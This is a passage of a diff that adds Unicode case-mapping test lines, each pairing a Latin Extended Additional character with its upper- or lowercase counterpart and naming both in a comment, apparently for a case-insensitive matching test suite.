+test(0x1E1B, 0x1E1A); // LATIN SMALL LETTER E WITH TILDE BELOW, LATIN CAPITAL LETTER E WITH TILDE BELOW
+test(0x1E1C, 0x1E1D); // LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE, LATIN SMALL LETTER E WITH CEDILLA AND BREVE
+test(0x1E1D, 0x1E1C); // LATIN SMALL LETTER E WITH CEDILLA AND BREVE, LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE
+test(0x1E1E, 0x1E1F); // LATIN CAPITAL LETTER F WITH DOT ABOVE, LATIN SMALL LETTER F WITH DOT ABOVE
+test(0x1E1F, 0x1E1E); // LATIN SMALL LETTER F WITH DOT ABOVE, LATIN CAPITAL LETTER F WITH DOT ABOVE
+test(0x1E20, 0x1E21); // LATIN CAPITAL LETTER G WITH MACRON, LATIN SMALL LETTER G WITH MACRON
+test(0x1E21, 0x1E20); // LATIN SMALL LETTER G WITH MACRON, LATIN CAPITAL LETTER G WITH MACRON
+test(0x1E22, 0x1E23); // LATIN CAPITAL LETTER H WITH DOT ABOVE, LATIN SMALL LETTER H WITH DOT ABOVE
+test(0x1E23, 0x1E22); // LATIN SMALL LETTER H WITH DOT ABOVE, LATIN CAPITAL LETTER H WITH DOT ABOVE
+test(0x1E24, 0x1E25); // LATIN CAPITAL LETTER H WITH DOT BELOW, LATIN SMALL LETTER H WITH DOT BELOW
+test(0x1E25, 0x1E24); // LATIN SMALL LETTER H WITH DOT BELOW, LATIN CAPITAL LETTER H WITH DOT BELOW
+test(0x1E26, 0x1E27); // LATIN CAPITAL LETTER H WITH DIAERESIS, LATIN SMALL LETTER H WITH DIAERESIS
+test(0x1E27, 0x1E26); // LATIN SMALL LETTER H WITH DIAERESIS, LATIN CAPITAL LETTER H WITH DIAERESIS
+test(0x1E28, 0x1E29); // LATIN CAPITAL LETTER H WITH CEDILLA, LATIN SMALL LETTER H WITH CEDILLA
+test(0x1E29, 0x1E28); // LATIN SMALL LETTER H WITH CEDILLA, LATIN CAPITAL LETTER H WITH CEDILLA
+test(0x1E2A, 0x1E2B); // LATIN CAPITAL LETTER H WITH BREVE BELOW, LATIN SMALL LETTER H WITH BREVE BELOW
+test(0x1E2B, 0x1E2A); // LATIN SMALL LETTER H WITH BREVE BELOW, LATIN CAPITAL LETTER H WITH BREVE BELOW
+test(0x1E2C, 0x1E2D); // LATIN CAPITAL LETTER I WITH TILDE BELOW, LATIN SMALL LETTER I WITH TILDE BELOW
+test(0x1E2D, 0x1E2C); // LATIN SMALL LETTER I WITH TILDE BELOW, LATIN CAPITAL LETTER I WITH TILDE BELOW
+test(0x1E2E, 0x1E2F); // LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE, LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE
+test(0x1E2F, 0x1E2E); // LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE, LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE
+test(0x1E30, 0x1E31); // LATIN CAPITAL LETTER K WITH ACUTE, LATIN SMALL LETTER K WITH ACUTE
+test(0x1E31, 0x1E30); // LATIN SMALL LETTER K WITH ACUTE, LATIN CAPITAL LETTER K WITH ACUTE
+test(0x1E32, 0x1E33); // LATIN CAPITAL LETTER K WITH DOT BELOW, LATIN SMALL LETTER K WITH DOT BELOW
+test(0x1E33, 0x1E32); // LATIN SMALL LETTER K WITH DOT BELOW, LATIN CAPITAL LETTER K WITH DOT BELOW
+test(0x1E34, 0x1E35); // LATIN CAPITAL LETTER K WITH LINE BELOW, LATIN SMALL LETTER K WITH LINE BELOW
+test(0x1E35, 0x1E34); // LATIN SMALL LETTER K WITH LINE BELOW, LATIN CAPITAL LETTER K WITH LINE BELOW
+test(0x1E36, 0x1E37); // LATIN CAPITAL LETTER L WITH DOT BELOW, LATIN SMALL LETTER L WITH DOT BELOW
+test(0x1E37, 0x1E36); // LATIN SMALL LETTER L WITH DOT BELOW, LATIN CAPITAL LETTER L WITH DOT BELOW
+test(0x1E38, 0x1E39); // LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON, LATIN SMALL LETTER L WITH DOT BELOW AND MACRON
+test(0x1E39, 0x1E38); // LATIN SMALL LETTER L WITH DOT BELOW AND MACRON, LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON
+test(0x1E3A, 0x1E3B); // LATIN CAPITAL LETTER L WITH LINE BELOW, LATIN SMALL LETTER L WITH LINE BELOW
+test(0x1E3B, 0x1E3A); // LATIN SMALL LETTER L WITH LINE BELOW, LATIN CAPITAL LETTER L WITH LINE BELOW
+test(0x1E3C, 0x1E3D); // LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW
+test(0x1E3D, 0x1E3C); // LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW
+test(0x1E3E, 0x1E3F); // LATIN CAPITAL LETTER M WITH ACUTE, LATIN SMALL LETTER M WITH ACUTE
+test(0x1E3F, 0x1E3E); // LATIN SMALL LETTER M WITH ACUTE, LATIN CAPITAL LETTER M WITH ACUTE
+test(0x1E40, 0x1E41); // LATIN CAPITAL LETTER M WITH DOT ABOVE, LATIN SMALL LETTER M WITH DOT ABOVE
+test(0x1E41, 0x1E40); // LATIN SMALL LETTER M WITH DOT ABOVE, LATIN CAPITAL LETTER M WITH DOT ABOVE
+test(0x1E42, 0x1E43); // LATIN CAPITAL LETTER M WITH DOT BELOW, LATIN SMALL LETTER M WITH DOT BELOW
+test(0x1E43, 0x1E42); // LATIN SMALL LETTER M WITH DOT BELOW, LATIN CAPITAL LETTER M WITH DOT BELOW
+test(0x1E44, 0x1E45); // LATIN CAPITAL LETTER N WITH DOT ABOVE, LATIN SMALL LETTER N WITH DOT ABOVE
+test(0x1E45, 0x1E44); // LATIN SMALL LETTER N WITH DOT ABOVE, LATIN CAPITAL LETTER N WITH DOT ABOVE
+test(0x1E46, 0x1E47); // LATIN CAPITAL LETTER N WITH DOT BELOW, LATIN SMALL LETTER N WITH DOT BELOW
+test(0x1E47, 0x1E46); // LATIN SMALL LETTER N WITH DOT BELOW, LATIN CAPITAL LETTER N WITH DOT BELOW
+test(0x1E48, 0x1E49); // LATIN CAPITAL LETTER N WITH LINE BELOW, LATIN SMALL LETTER N WITH LINE BELOW
+test(0x1E49, 0x1E48); // LATIN SMALL LETTER N WITH LINE BELOW, LATIN CAPITAL LETTER N WITH LINE BELOW
+test(0x1E4A, 0x1E4B); // LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW
+test(0x1E4B, 0x1E4A); // LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW
+test(0x1E4C, 0x1E4D); // LATIN CAPITAL LETTER O WITH TILDE AND ACUTE, LATIN SMALL LETTER O WITH TILDE AND ACUTE
+test(0x1E4D, 0x1E4C); // LATIN SMALL LETTER O WITH TILDE AND ACUTE, LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
+test(0x1E4E, 0x1E4F); // LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS, LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
+test(0x1E4F, 0x1E4E); // LATIN SMALL LETTER O WITH TILDE AND DIAERESIS, LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
+test(0x1E50, 0x1E51); // LATIN CAPITAL LETTER O WITH MACRON AND GRAVE, LATIN SMALL LETTER O WITH MACRON AND GRAVE
+test(0x1E51, 0x1E50); // LATIN SMALL LETTER O WITH MACRON AND GRAVE, LATIN CAPITAL LETTER O WITH MACRON AND GRAVE
+test(0x1E52, 0x1E53); // LATIN CAPITAL LETTER O WITH MACRON AND ACUTE, LATIN SMALL LETTER O WITH MACRON AND ACUTE
+test(0x1E53, 0x1E52); // LATIN SMALL LETTER O WITH MACRON AND ACUTE, LATIN CAPITAL LETTER O WITH MACRON AND ACUTE
+test(0x1E54, 0x1E55); // LATIN CAPITAL LETTER P WITH ACUTE, LATIN SMALL LETTER P WITH ACUTE
+test(0x1E55, 0x1E54); // LATIN SMALL LETTER P WITH ACUTE, LATIN CAPITAL LETTER P WITH ACUTE
+test(0x1E56, 0x1E57); // LATIN CAPITAL LETTER P WITH DOT ABOVE, LATIN SMALL LETTER P WITH DOT ABOVE
+test(0x1E57, 0x1E56); // LATIN SMALL LETTER P WITH DOT ABOVE, LATIN CAPITAL LETTER P WITH DOT ABOVE
+test(0x1E58, 0x1E59); // LATIN CAPITAL LETTER R WITH DOT ABOVE, LATIN SMALL LETTER R WITH DOT ABOVE
+test(0x1E59, 0x1E58); // LATIN SMALL LETTER R WITH DOT ABOVE, LATIN CAPITAL LETTER R WITH DOT ABOVE
+test(0x1E5A, 0x1E5B); // LATIN CAPITAL LETTER R WITH DOT BELOW, LATIN SMALL LETTER R WITH DOT BELOW
+test(0x1E5B, 0x1E5A); // LATIN SMALL LETTER R WITH DOT BELOW, LATIN CAPITAL LETTER R WITH DOT BELOW
+test(0x1E5C, 0x1E5D); // LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON, LATIN SMALL LETTER R WITH DOT BELOW AND MACRON
+test(0x1E5D, 0x1E5C); // LATIN SMALL LETTER R WITH DOT BELOW AND MACRON, LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON
+test(0x1E5E, 0x1E5F); // LATIN CAPITAL LETTER R WITH LINE BELOW, LATIN SMALL LETTER R WITH LINE BELOW
+test(0x1E5F, 0x1E5E); // LATIN SMALL LETTER R WITH LINE BELOW, LATIN CAPITAL LETTER R WITH LINE BELOW
+test(0x1E60, 0x1E61, 0x1E9B); // LATIN CAPITAL LETTER S WITH DOT ABOVE, LATIN SMALL LETTER S WITH DOT ABOVE, LATIN SMALL LETTER LONG S WITH DOT ABOVE
+test(0x1E61, 0x1E60, 0x1E9B); // LATIN SMALL LETTER S WITH DOT ABOVE, LATIN CAPITAL LETTER S WITH DOT ABOVE, LATIN SMALL LETTER LONG S WITH DOT ABOVE
+test(0x1E62, 0x1E63); // LATIN CAPITAL LETTER S WITH DOT BELOW, LATIN SMALL LETTER S WITH DOT BELOW
+test(0x1E63, 0x1E62); // LATIN SMALL LETTER S WITH DOT BELOW, LATIN CAPITAL LETTER S WITH DOT BELOW
+test(0x1E64, 0x1E65); // LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE, LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE
+test(0x1E65, 0x1E64); // LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE, LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE
+test(0x1E66, 0x1E67); // LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE, LATIN SMALL LETTER S WITH CARON AND DOT ABOVE
+test(0x1E67, 0x1E66); // LATIN SMALL LETTER S WITH CARON AND DOT ABOVE, LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE
+test(0x1E68, 0x1E69); // LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE, LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
+test(0x1E69, 0x1E68); // LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE, LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE
+test(0x1E6A, 0x1E6B); // LATIN CAPITAL LETTER T WITH DOT ABOVE, LATIN SMALL LETTER T WITH DOT ABOVE
+test(0x1E6B, 0x1E6A); // LATIN SMALL LETTER T WITH DOT ABOVE, LATIN CAPITAL LETTER T WITH DOT ABOVE
+test(0x1E6C, 0x1E6D); // LATIN CAPITAL LETTER T WITH DOT BELOW, LATIN SMALL LETTER T WITH DOT BELOW
+test(0x1E6D, 0x1E6C); // LATIN SMALL LETTER T WITH DOT BELOW, LATIN CAPITAL LETTER T WITH DOT BELOW
+test(0x1E6E, 0x1E6F); // LATIN CAPITAL LETTER T WITH LINE BELOW, LATIN SMALL LETTER T WITH LINE BELOW
+test(0x1E6F, 0x1E6E); // LATIN SMALL LETTER T WITH LINE BELOW, LATIN CAPITAL LETTER T WITH LINE BELOW
+test(0x1E70, 0x1E71); // LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW
+test(0x1E71, 0x1E70); // LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW
+test(0x1E72, 0x1E73); // LATIN CAPITAL LETTER U WITH DIAERESIS BELOW, LATIN SMALL LETTER U WITH DIAERESIS BELOW
+test(0x1E73, 0x1E72); // LATIN SMALL LETTER U WITH DIAERESIS BELOW, LATIN CAPITAL LETTER U WITH DIAERESIS BELOW
+test(0x1E74, 0x1E75); // LATIN CAPITAL LETTER U WITH TILDE BELOW, LATIN SMALL LETTER U WITH TILDE BELOW
+test(0x1E75, 0x1E74); // LATIN SMALL LETTER U WITH TILDE BELOW, LATIN CAPITAL LETTER U WITH TILDE BELOW
+test(0x1E76, 0x1E77); // LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW
+test(0x1E77, 0x1E76); // LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW, LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW
+test(0x1E78, 0x1E79); // LATIN CAPITAL LETTER U WITH TILDE AND ACUTE, LATIN SMALL LETTER U WITH TILDE AND ACUTE
+test(0x1E79, 0x1E78); // LATIN SMALL LETTER U WITH TILDE AND ACUTE, LATIN CAPITAL LETTER U WITH TILDE AND ACUTE
+test(0x1E7A, 0x1E7B); // LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS, LATIN SMALL LETTER U WITH MACRON AND DIAERESIS
+test(0x1E7B, 0x1E7A); // LATIN SMALL LETTER U WITH MACRON AND DIAERESIS, LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS
+test(0x1E7C, 0x1E7D); // LATIN CAPITAL LETTER V WITH TILDE, LATIN SMALL LETTER V WITH TILDE
+test(0x1E7D, 0x1E7C); // LATIN SMALL LETTER V WITH TILDE, LATIN CAPITAL LETTER V WITH TILDE
+test(0x1E7E, 0x1E7F); // LATIN CAPITAL LETTER V WITH DOT BELOW, LATIN SMALL LETTER V WITH DOT BELOW
+test(0x1E7F, 0x1E7E); // LATIN SMALL LETTER V WITH DOT BELOW, LATIN CAPITAL LETTER V WITH DOT BELOW
+test(0x1E80, 0x1E81); // LATIN CAPITAL LETTER W WITH GRAVE, LATIN SMALL LETTER W WITH GRAVE
+test(0x1E81, 0x1E80); // LATIN SMALL LETTER W WITH GRAVE, LATIN CAPITAL LETTER W WITH GRAVE
+test(0x1E82, 0x1E83); // LATIN CAPITAL LETTER W WITH ACUTE, LATIN SMALL LETTER W WITH ACUTE
+test(0x1E83, 0x1E82); // LATIN SMALL LETTER W WITH ACUTE, LATIN CAPITAL LETTER W WITH ACUTE
+test(0x1E84, 0x1E85); // LATIN CAPITAL LETTER W WITH DIAERESIS, LATIN SMALL LETTER W WITH DIAERESIS
+test(0x1E85, 0x1E84); // LATIN SMALL LETTER W WITH DIAERESIS, LATIN CAPITAL LETTER W WITH DIAERESIS
+test(0x1E86, 0x1E87); // LATIN CAPITAL LETTER W WITH DOT ABOVE, LATIN SMALL LETTER W WITH DOT ABOVE
+test(0x1E87, 0x1E86); // LATIN SMALL LETTER W WITH DOT ABOVE, LATIN CAPITAL LETTER W WITH DOT ABOVE
+test(0x1E88, 0x1E89); // LATIN CAPITAL LETTER W WITH DOT BELOW, LATIN SMALL LETTER W WITH DOT BELOW
+test(0x1E89, 0x1E88); // LATIN SMALL LETTER W WITH DOT BELOW, LATIN CAPITAL LETTER W WITH DOT BELOW
+test(0x1E8A, 0x1E8B); // LATIN CAPITAL LETTER X WITH DOT ABOVE, LATIN SMALL LETTER X WITH DOT ABOVE
+test(0x1E8B, 0x1E8A); // LATIN SMALL LETTER X WITH DOT ABOVE, LATIN CAPITAL LETTER X WITH DOT ABOVE
+test(0x1E8C, 0x1E8D); // LATIN CAPITAL LETTER X WITH DIAERESIS, LATIN SMALL LETTER X WITH DIAERESIS
+test(0x1E8D, 0x1E8C); // LATIN SMALL LETTER X WITH DIAERESIS, LATIN CAPITAL LETTER X WITH DIAERESIS
+test(0x1E8E, 0x1E8F); // LATIN CAPITAL LETTER Y WITH DOT ABOVE, LATIN SMALL LETTER Y WITH DOT ABOVE
+test(0x1E8F, 0x1E8E); // LATIN SMALL LETTER Y WITH DOT ABOVE, LATIN CAPITAL LETTER Y WITH DOT ABOVE
+test(0x1E90, 0x1E91); // LATIN CAPITAL LETTER Z WITH CIRCUMFLEX, LATIN SMALL LETTER Z WITH CIRCUMFLEX
+test(0x1E91, 0x1E90); // LATIN SMALL LETTER Z WITH CIRCUMFLEX, LATIN CAPITAL LETTER Z WITH CIRCUMFLEX
+test(0x1E92, 0x1E93); // LATIN CAPITAL LETTER Z WITH DOT BELOW, LATIN SMALL LETTER Z WITH DOT BELOW
+test(0x1E93, 0x1E92); // LATIN SMALL LETTER Z WITH DOT BELOW, LATIN CAPITAL LETTER Z WITH DOT BELOW
+test(0x1E94, 0x1E95); // LATIN CAPITAL LETTER Z WITH LINE BELOW, LATIN SMALL LETTER Z WITH LINE BELOW
+test(0x1E95, 0x1E94); // LATIN SMALL LETTER Z WITH LINE BELOW, LATIN CAPITAL LETTER Z WITH LINE BELOW
+test(0x1E9B, 0x1E61, 0x1E60); // LATIN SMALL LETTER LONG S WITH DOT ABOVE, LATIN SMALL LETTER S WITH DOT ABOVE, LATIN CAPITAL LETTER S WITH DOT ABOVE
+test(0x1E9E, 0x00DF); // LATIN CAPITAL LETTER SHARP S, LATIN SMALL LETTER SHARP S
+test(0x1EA0, 0x1EA1); // LATIN CAPITAL LETTER A WITH DOT BELOW, LATIN SMALL LETTER A WITH DOT BELOW
+test(0x1EA1, 0x1EA0); // LATIN SMALL LETTER A WITH DOT BELOW, LATIN CAPITAL LETTER A WITH DOT BELOW
+test(0x1EA2, 0x1EA3); // LATIN CAPITAL LETTER A WITH HOOK ABOVE, LATIN SMALL LETTER A WITH HOOK ABOVE
+test(0x1EA3, 0x1EA2); // LATIN SMALL LETTER A WITH HOOK ABOVE, LATIN CAPITAL LETTER A WITH HOOK ABOVE
+test(0x1EA4, 0x1EA5); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE, LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
+test(0x1EA5, 0x1EA4); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
+test(0x1EA6, 0x1EA7); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE, LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
+test(0x1EA7, 0x1EA6); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
+test(0x1EA8, 0x1EA9); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE, LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1EA9, 0x1EA8); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1EAA, 0x1EAB); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE, LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
+test(0x1EAB, 0x1EAA); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
+test(0x1EAC, 0x1EAD); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW, LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EAD, 0x1EAC); // LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW, LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EAE, 0x1EAF); // LATIN CAPITAL LETTER A WITH BREVE AND ACUTE, LATIN SMALL LETTER A WITH BREVE AND ACUTE
+test(0x1EAF, 0x1EAE); // LATIN SMALL LETTER A WITH BREVE AND ACUTE, LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
+test(0x1EB0, 0x1EB1); // LATIN CAPITAL LETTER A WITH BREVE AND GRAVE, LATIN SMALL LETTER A WITH BREVE AND GRAVE
+test(0x1EB1, 0x1EB0); // LATIN SMALL LETTER A WITH BREVE AND GRAVE, LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
+test(0x1EB2, 0x1EB3); // LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE, LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
+test(0x1EB3, 0x1EB2); // LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE, LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
+test(0x1EB4, 0x1EB5); // LATIN CAPITAL LETTER A WITH BREVE AND TILDE, LATIN SMALL LETTER A WITH BREVE AND TILDE
+test(0x1EB5, 0x1EB4); // LATIN SMALL LETTER A WITH BREVE AND TILDE, LATIN CAPITAL LETTER A WITH BREVE AND TILDE
+test(0x1EB6, 0x1EB7); // LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW, LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
+test(0x1EB7, 0x1EB6); // LATIN SMALL LETTER A WITH BREVE AND DOT BELOW, LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
+test(0x1EB8, 0x1EB9); // LATIN CAPITAL LETTER E WITH DOT BELOW, LATIN SMALL LETTER E WITH DOT BELOW
+test(0x1EB9, 0x1EB8); // LATIN SMALL LETTER E WITH DOT BELOW, LATIN CAPITAL LETTER E WITH DOT BELOW
+test(0x1EBA, 0x1EBB); // LATIN CAPITAL LETTER E WITH HOOK ABOVE, LATIN SMALL LETTER E WITH HOOK ABOVE
+test(0x1EBB, 0x1EBA); // LATIN SMALL LETTER E WITH HOOK ABOVE, LATIN CAPITAL LETTER E WITH HOOK ABOVE
+test(0x1EBC, 0x1EBD); // LATIN CAPITAL LETTER E WITH TILDE, LATIN SMALL LETTER E WITH TILDE
+test(0x1EBD, 0x1EBC); // LATIN SMALL LETTER E WITH TILDE, LATIN CAPITAL LETTER E WITH TILDE
+test(0x1EBE, 0x1EBF); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE, LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+test(0x1EBF, 0x1EBE); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+test(0x1EC0, 0x1EC1); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE, LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+test(0x1EC1, 0x1EC0); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+test(0x1EC2, 0x1EC3); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE, LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1EC3, 0x1EC2); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1EC4, 0x1EC5); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE, LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+test(0x1EC5, 0x1EC4); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+test(0x1EC6, 0x1EC7); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW, LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EC7, 0x1EC6); // LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW, LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EC8, 0x1EC9); // LATIN CAPITAL LETTER I WITH HOOK ABOVE, LATIN SMALL LETTER I WITH HOOK ABOVE
+test(0x1EC9, 0x1EC8); // LATIN SMALL LETTER I WITH HOOK ABOVE, LATIN CAPITAL LETTER I WITH HOOK ABOVE
+test(0x1ECA, 0x1ECB); // LATIN CAPITAL LETTER I WITH DOT BELOW, LATIN SMALL LETTER I WITH DOT BELOW
+test(0x1ECB, 0x1ECA); // LATIN SMALL LETTER I WITH DOT BELOW, LATIN CAPITAL LETTER I WITH DOT BELOW
+test(0x1ECC, 0x1ECD); // LATIN CAPITAL LETTER O WITH DOT BELOW, LATIN SMALL LETTER O WITH DOT BELOW
+test(0x1ECD, 0x1ECC); // LATIN SMALL LETTER O WITH DOT BELOW, LATIN CAPITAL LETTER O WITH DOT BELOW
+test(0x1ECE, 0x1ECF); // LATIN CAPITAL LETTER O WITH HOOK ABOVE, LATIN SMALL LETTER O WITH HOOK ABOVE
+test(0x1ECF, 0x1ECE); // LATIN SMALL LETTER O WITH HOOK ABOVE, LATIN CAPITAL LETTER O WITH HOOK ABOVE
+test(0x1ED0, 0x1ED1); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE, LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+test(0x1ED1, 0x1ED0); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+test(0x1ED2, 0x1ED3); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE, LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+test(0x1ED3, 0x1ED2); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+test(0x1ED4, 0x1ED5); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE, LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1ED5, 0x1ED4); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+test(0x1ED6, 0x1ED7); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE, LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+test(0x1ED7, 0x1ED6); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+test(0x1ED8, 0x1ED9); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW, LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+test(0x1ED9, 0x1ED8); // LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW, LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+test(0x1EDA, 0x1EDB); // LATIN CAPITAL LETTER O WITH HORN AND ACUTE, LATIN SMALL LETTER O WITH HORN AND ACUTE
+test(0x1EDB, 0x1EDA); // LATIN SMALL LETTER O WITH HORN AND ACUTE, LATIN CAPITAL LETTER O WITH HORN AND ACUTE
+test(0x1EDC, 0x1EDD); // LATIN CAPITAL LETTER O WITH HORN AND GRAVE, LATIN SMALL LETTER O WITH HORN AND GRAVE
+test(0x1EDD, 0x1EDC); // LATIN SMALL LETTER O WITH HORN AND GRAVE, LATIN CAPITAL LETTER O WITH HORN AND GRAVE
+test(0x1EDE, 0x1EDF); // LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE, LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE
+test(0x1EDF, 0x1EDE); // LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE, LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE
+test(0x1EE0, 0x1EE1); // LATIN CAPITAL LETTER O WITH HORN AND TILDE, LATIN SMALL LETTER O WITH HORN AND TILDE
+test(0x1EE1, 0x1EE0); // LATIN SMALL LETTER O WITH HORN AND TILDE, LATIN CAPITAL LETTER O WITH HORN AND TILDE
+test(0x1EE2, 0x1EE3); // LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW, LATIN SMALL LETTER O WITH HORN AND DOT BELOW
+test(0x1EE3, 0x1EE2); // LATIN SMALL LETTER O WITH HORN AND DOT BELOW, LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
+test(0x1EE4, 0x1EE5); // LATIN CAPITAL LETTER U WITH DOT BELOW, LATIN SMALL LETTER U WITH DOT BELOW
+test(0x1EE5, 0x1EE4); // LATIN SMALL LETTER U WITH DOT BELOW, LATIN CAPITAL LETTER U WITH DOT BELOW
+test(0x1EE6, 0x1EE7); // LATIN CAPITAL LETTER U WITH HOOK ABOVE, LATIN SMALL LETTER U WITH HOOK ABOVE
+test(0x1EE7, 0x1EE6); // LATIN SMALL LETTER U WITH HOOK ABOVE, LATIN CAPITAL LETTER U WITH HOOK ABOVE
+test(0x1EE8, 0x1EE9); // LATIN CAPITAL LETTER U WITH HORN AND ACUTE, LATIN SMALL LETTER U WITH HORN AND ACUTE
